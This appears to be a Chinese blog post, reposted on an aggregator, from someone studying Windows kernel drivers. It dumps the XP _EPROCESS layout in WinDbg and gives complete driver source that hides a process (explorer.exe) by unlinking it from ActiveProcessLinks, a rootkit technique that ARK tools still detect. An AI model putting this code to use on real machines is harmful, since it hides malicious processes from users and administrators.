EPROCESS进程断链
来源:互联网 发布:宝矿力水特 知乎 编辑:程序博客网 时间:2024/05/20 06:28
本身今天说写《Windows驱动开发技术详解》第六章的笔记,但是发现第六章无非是字符串、文件、注册表,其实没有必要抄书,之前写了写笔记,也能够尝试写一点小函数练练手的,就想自己写点小例子记作笔记也是OK的。今天用Windbg的dt命令查看字符串结构的时候,顺带查询了EPROCESS结构,PEB,TEB,_RTL_USER_PROCESS_PARAMETERS这些结构。
kd> dt _EPROCESSntdll!_EPROCESS +0x000 Pcb : _KPROCESS +0x06c ProcessLock : _EX_PUSH_LOCK +0x070 CreateTime : _LARGE_INTEGER +0x078 ExitTime : _LARGE_INTEGER +0x080 RundownProtect : _EX_RUNDOWN_REF +0x084 UniqueProcessId : Ptr32 Void +0x088 ActiveProcessLinks : _LIST_ENTRY +0x090 QuotaUsage : [3] Uint4B +0x09c QuotaPeak : [3] Uint4B +0x0a8 CommitCharge : Uint4B +0x0ac PeakVirtualSize : Uint4B +0x0b0 VirtualSize : Uint4B +0x0b4 SessionProcessLinks : _LIST_ENTRY +0x0bc DebugPort : Ptr32 Void +0x0c0 ExceptionPort : Ptr32 Void +0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE +0x0c8 Token : _EX_FAST_REF +0x0cc WorkingSetLock : _FAST_MUTEX +0x0ec WorkingSetPage : Uint4B +0x0f0 AddressCreationLock : _FAST_MUTEX +0x110 HyperSpaceLock : Uint4B +0x114 ForkInProgress : Ptr32 _ETHREAD +0x118 HardwareTrigger : Uint4B +0x11c VadRoot : Ptr32 Void +0x120 VadHint : Ptr32 Void +0x124 CloneRoot : Ptr32 Void +0x128 NumberOfPrivatePages : Uint4B +0x12c NumberOfLockedPages : Uint4B +0x130 Win32Process : Ptr32 Void +0x134 Job : Ptr32 _EJOB +0x138 SectionObject : Ptr32 Void +0x13c SectionBaseAddress : Ptr32 Void +0x140 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK +0x144 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY +0x148 Win32WindowStation : Ptr32 Void +0x14c InheritedFromUniqueProcessId : Ptr32 Void +0x150 LdtInformation : Ptr32 Void +0x154 VadFreeHint : Ptr32 Void +0x158 VdmObjects : Ptr32 Void +0x15c DeviceMap : Ptr32 Void +0x160 PhysicalVadList : _LIST_ENTRY +0x168 PageDirectoryPte : _HARDWARE_PTE_X86 +0x168 Filler : Uint8B +0x170 Session : Ptr32 Void +0x174 ImageFileName : [16] UChar +0x184 JobLinks : _LIST_ENTRY +0x18c LockedPagesList : Ptr32 Void +0x190 ThreadListHead : _LIST_ENTRY +0x198 SecurityPort : Ptr32 Void +0x19c PaeTop : Ptr32 Void +0x1a0 ActiveThreads : Uint4B +0x1a4 GrantedAccess : Uint4B +0x1a8 DefaultHardErrorProcessing : Uint4B +0x1ac LastThreadExitStatus : Int4B +0x1b0 Peb : Ptr32 _PEB +0x1b4 PrefetchTrace : _EX_FAST_REF +0x1b8 ReadOperationCount : _LARGE_INTEGER +0x1c0 WriteOperationCount : _LARGE_INTEGER +0x1c8 OtherOperationCount : _LARGE_INTEGER +0x1d0 ReadTransferCount : _LARGE_INTEGER +0x1d8 WriteTransferCount : _LARGE_INTEGER +0x1e0 OtherTransferCount : _LARGE_INTEGER +0x1e8 CommitChargeLimit : Uint4B +0x1ec CommitChargePeak : Uint4B +0x1f0 AweInfo : Ptr32 Void +0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO +0x1f8 Vm : _MMSUPPORT +0x238 LastFaultCount : Uint4B +0x23c ModifiedPageCount : Uint4B +0x240 NumberOfVads : Uint4B +0x244 JobStatus : Uint4B +0x248 Flags : Uint4B +0x248 CreateReported : Pos 0, 1 Bit +0x248 NoDebugInherit : Pos 1, 1 Bit +0x248 ProcessExiting : Pos 2, 1 Bit +0x248 ProcessDelete : Pos 3, 1 Bit +0x248 Wow64SplitPages : Pos 4, 1 Bit +0x248 VmDeleted : Pos 5, 1 Bit +0x248 OutswapEnabled : Pos 6, 1 Bit +0x248 Outswapped : Pos 7, 1 Bit +0x248 ForkFailed : Pos 8, 1 Bit +0x248 HasPhysicalVad : Pos 9, 1 Bit +0x248 AddressSpaceInitialized : Pos 10, 2 Bits +0x248 SetTimerResolution : Pos 12, 1 Bit +0x248 BreakOnTermination : Pos 13, 1 Bit +0x248 SessionCreationUnderway : Pos 14, 1 Bit +0x248 WriteWatch : Pos 15, 1 Bit +0x248 ProcessInSession : Pos 16, 1 Bit +0x248 OverrideAddressSpace : Pos 17, 1 Bit +0x248 HasAddressSpace : Pos 18, 1 Bit +0x248 LaunchPrefetched : Pos 19, 1 Bit +0x248 InjectInpageErrors : Pos 20, 1 Bit +0x248 VmTopDown : Pos 21, 1 Bit +0x248 Unused3 : Pos 22, 1 Bit +0x248 Unused4 : Pos 23, 1 Bit +0x248 VdmAllowed : Pos 24, 1 Bit +0x248 Unused : Pos 25, 5 Bits +0x248 Unused1 : Pos 30, 1 Bit +0x248 Unused2 : Pos 31, 1 Bit +0x24c ExitStatus : Int4B +0x250 NextPageColor : Uint2B +0x252 SubSystemMinorVersion : UChar +0x253 SubSystemMajorVersion : UChar +0x252 SubSystemVersion : Uint2B +0x254 PriorityClass : UChar +0x255 WorkingSetAcquiredUnsafe : UChar +0x258 Cookie : Uint4B其中在EPROCESS结构的0x88偏移位置,有一个_LIST_ENTRY,ActiveProcessLinks,根据前人的文章,这个链表,将各个进程的EPROCESS连接起来。
之前也学习过链表的结构,这次索性自己尝试,将其中某个进程的EPROCESS取出,达到进程隐藏的目的。
#include <ntddk.h>NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);NTKERNELAPI VOID KeAttachProcess(PEPROCESS Process);NTKERNELAPI VOID KeDetachProcess(VOID);NTSTATUS HideProcess(){NTSTATUS ns;PEPROCESS Process;ULONG PEB = 0;PLIST_ENTRY ProcessLink = NULL;ns = PsLookupProcessByProcessId((HANDLE)1504, &Process);if (!NT_SUCCESS(ns)) {return ns;}ObDereferenceObject(Process);KeAttachProcess(Process);PEB = *(ULONG*)((ULONG)Process+0x1B0);KdPrint(("PEB BaseAddress:%08lX\n", PEB));ProcessLink= (PLIST_ENTRY)((ULONG)Process+0x88);__try{ProcessLink->Flink->Blink = ProcessLink->Blink;ProcessLink->Blink->Flink = ProcessLink->Flink;}__except(EXCEPTION_EXECUTE_HANDLER){KdPrint(("GetExceptionCode:0x8lX%\n", GetExceptionCode()));}KeDetachProcess();return ns;}VOID DriverUnload(PDRIVER_OBJECT pDriverObject){KdPrint(("DriverUnload"));}NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath){KdPrint(("DriverEntey\n"));pDriverObject->DriverUnload = DriverUnload;HideProcess();return STATUS_SUCCESS;}
驱动加载和卸载时没有出现蓝屏,这点令人欣慰,这些天想自己尝试写点小东西玩玩,结果发现,各种蓝屏,真是各种无奈啊。加载后成功找到相关进程的地址。
由于explorer.exe的进程已经被断链,所以通过任务管理器无法查看到具体的进程信息。
但是使用ARK工具都是可以看到的,并且被工具用红色标注。嗯,这个小驱动算是完成了,但是相关结构有N多可以挖掘的东西,这个后面慢慢研究了。
- EPROCESS进程断链
- 获得进程的EPROCESS
- 获得进程的EPROCESS
- 通过EPROCESS枚举进程
- 执行体进程--EPROCESS
- 获得进程的EPROCESS
- 通过EPROCESS链表枚举进程(代码转)
- 获得进程的EPROCESS--转
- 通过EPROCESS获取进程名
- EPROCESS取进程全路径
- JIURL玩玩Win2k进程线程篇 EPROCESS
- EPROCESS:NT进程的核心(更新)
- JIURL玩玩Win2k进程线程篇 EPROCESS
- JIURL玩玩Win2k进程线程篇 EPROCESS
- WIN7 进程隐藏 EPROCESS结构小结
- EPROCESS取进程全路径(xp)
- 使用EPROCESS下Win32Process枚举进程
- windbg下EPROCESS获取进程加载模块
- 图解实用电子技术丛书
- (数据库)手动设置数据约束
- spring2.5的概念
- How to Insert OLE Object (Adobe Acrobat Document) in Word with C#(如何使用C#在Word中插入OLE对象-PDF文件)
- poj 3321 Apple Tree 线段树
- EPROCESS进程断链
- @Autowired默认按照类型进行注入
- 非802.11r的Fast Roaming
- yuyan
- 计算机科学中最重要的32个算法
- C++STL-算法transform
- BACnet协议栈移植分析之二:rs485.mak
- 将一个非负十进制整数转换成二进制数,用非递归算法和递归算法来实现
- mysqld daemon start failed